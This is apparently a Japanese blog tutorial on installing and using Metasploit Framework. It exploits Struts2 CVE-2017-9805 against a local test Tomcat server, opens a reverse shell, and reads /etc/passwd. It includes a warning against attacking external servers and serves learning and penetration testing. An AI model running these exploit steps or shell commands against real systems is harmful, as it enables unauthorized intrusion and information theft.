Metasploit Framework というのはオープンソースのペネトレーションテストツール。 ペネトレーションテストというのは、実際にシステムに対して侵入を試みるなど Exploit を実行するテストを指している。 その成功可否によって、システムが脆弱性の影響を受けるのかが確認できる。 そのため Metasploit Framework には既知の様々な脆弱性に対する Exploit が収録されている。 今回は、このツールを Ubuntu 16.04 LTS にインストールして試してみる。
注意: 不正アクセスとなるため間違っても外部のサーバに対して実行しないこと
環境は次の通り。
$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.3 LTS Release: 16.04 Codename: xenial $ uname -r 4.4.0-93-generic
インストール
Metasploit Framework のインストールは、次のようにインストールスクリプトを取得してきて実行するだけで良い。
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall $ chmod 755 msfinstall $ ./msfinstall ...(snip)... W: --force-yes is deprecated, use one of the options starting with --allow instead.
どうやら最後に表示される Warning は、とりあえず無視しても大丈夫っぽい。
上記を実行すると Metasploit Framework のパッケージが入る。
$ sudo dpkg -l | grep -i metasploit-framework ii metasploit-framework 4.16.5+20170906092721~1rapid7-1 amd64 The full stack of metasploit-framework
基本的な使い方
Metasploit Framework をインストールすると msfconsole
コマンドが使えるようになる。
操作は、このコマンドで起動するシェル上で行う。
$ msfconsole
初回起動時には、次のようにデータベースのセットアップをするか聞かれるので y
を入力しておく。
$ msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started. Would you like to use and setup a new database (recommended)? y
次のようにシェルが表示されれば正常に起動できている。
=[ metasploit v4.16.7-dev- ] + -- --=[ 1682 exploits - 964 auxiliary - 297 post ] + -- --=[ 498 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
操作方法としては、例えばまず search
コマンドで使って収録されている Exploit を検索できる。
msf > search vsftpd Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution
目当てのものが見つかったら use
コマンドで選択する。
msf > use exploit/unix/ftp/vsftpd_234_backdoor
それぞれの Exploit には入力すべきオプションがある。
これは show options
コマンドで確認できる。
msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic
上記の例ではオプションの RHOST
が必須にもかかわらずデフォルト値のない空欄になっている。
そこで RHOST
の値を埋める。
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.33.11 RHOST => 192.168.56.11
あとは Exploit を実行するだけ。
msf exploit(vsftpd_234_backdoor) > exploit
以上が基本的な使い方の流れとなっている。
使い終わったら exit
コマンドでシェルから抜ける。
msf > exit
実際に試してみる
今回は、先日巷をさわがせた Struts2 の脆弱性 S2-052 (CVE-2017-9805) を例に挙げてみる。
まずは Struts2 を動かすサーブレットコンテナとして Tomcat をインストールする。
$ sudo apt-get -y install tomcat
インストールすると、それだけでサービスが起動してくる。
$ sudo systemctl status tomcat7 ● tomcat7.service - LSB: Start Tomcat. Loaded: loaded (/etc/init.d/tomcat7; bad; vendor preset: enabled) Active: active (running) since Tue 2017-09-12 10:45:40 UTC; 20s ago Docs: man:systemd-sysv-generator(8) CGroup: /system.slice/tomcat7.service └─5185 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.
続いては、上記のサーブレットコンテナ上で脆弱性のある Struts2 の Web アプリケーションを動かす。 検証環境は、インターネットからアクセスできる範囲に作らないように注意しよう。
脆弱性を含んだ Struts2 のサンプルアプリケーションをダウンロードしてきてデプロイする。
今回の脆弱性は REST Plugin を使っているアプリケーションが影響を受けるので struts2-rest-showcase.war
を使えば良い。
$ wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache/struts/2.5.12/struts-2.5.12-apps.zip $ sudo apt-get -y install unzip $ unzip struts-2.5.12-apps.zip $ sudo cp struts-2.5.12/apps/struts2-rest-showcase.war /var/lib/tomcat7/webapps/
WAR ファイルが展開されていることを確認する。
$ ls /var/lib/tomcat7/webapps/ ROOT struts2-rest-showcase struts2-rest-showcase.war
これで準備が整った。
それでは msfconsole
コマンドで Metasploit Framework のシェルを立ち上げよう。
$ msfconsole
今回の脆弱性に対応した Exploit の exploit/multi/http/struts2_rest_xstream
を選択する。
msf > use exploit/multi/http/struts2_rest_xstream
オプションを確認すると Exploit の実行先として RHOST
を設定する必要がありそうだ。
msf exploit(struts2_rest_xstream) > show options Module options (exploit/multi/http/struts2_rest_xstream): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 8080 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /struts2-rest-showcase/orders/3 yes Path to Struts action URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Unix (In-Memory)
今回は Exploit を受ける Struts2 のアプリケーションがローカルホストで動作しているのでループバックアドレスを指定する。
msf exploit(struts2_rest_xstream) > set RHOST 127.0.0.1 RHOST => 127.0.0.1
これで必要な設定が済んだ。
exploit
コマンドで Exploit を実行しよう。
msf exploit(struts2_rest_xstream) > exploit [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP double handler on 127.0.0.1:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 1IeHfWRzrnKssQOS; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "1IeHfWRzrnKssQOS\r\n" [*] Matching... [*] B is input... [*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:46452) at 2017-09-12 10:54:09 +0000
上記で具体的に何をしているかというと、今回使った Exploit に関しては脆弱性を利用してバックドアを開いている。 そして、それに接続したコマンドラインシェルが立ち上がる、という動作になっている。
バックドアのシェル上で Linux のコマンドを打ち込むと、それに対する応答が返ってくる。
uname -a Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
バックドアのプロセスは Tomcat が動作しているプロセスの権限で動作する。 そのため、破壊的な変更を加えるには何らか別の特権昇格が必要かもしれない。 例えばホストをシャットダウンさせようとしても権限がないと言われる。
shutdown -h now Failed to set wall message, ignoring: Interactive authentication required. Failed to power off system via logind: Interactive authentication required. Failed to start poweroff.target: Interactive authentication required. See system logs and 'systemctl status poweroff.target' for details. Failed to open /dev/initctl: Permission denied Failed to talk to init daemon.
とはいえ、情報漏えいについては十分に有効なので致命的な脆弱性だ。
cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ...(省略)
まとめ
今回はオープンソースのペネトレーションテストツールである Metasploit Framework を使ってみた。 一つ注意すべき点としては Metasploit Framework で攻撃が成立しなかったから、という理由だけで安心しないこと。 本来は影響を受けるのに、何らかの設定の不備で成立しなかっただけに過ぎないという恐れは多いにある。 なので、脆弱性のバックグラウンドや具体的な原理、そして Exploit の内部的な動作までちゃんと理解した上で使う必要がある。 つまり、脆弱性について一通り調べ上げた上で、最終確認に使うための手段といった位置づけで捉えておくと良いんじゃないだろうか。
- 作者: 八木毅,村山純一,秋山満昭
- 出版社/メーカー: コロナ社
- 発売日: 2015/03/17
- メディア: 単行本
- この商品を含むブログを見る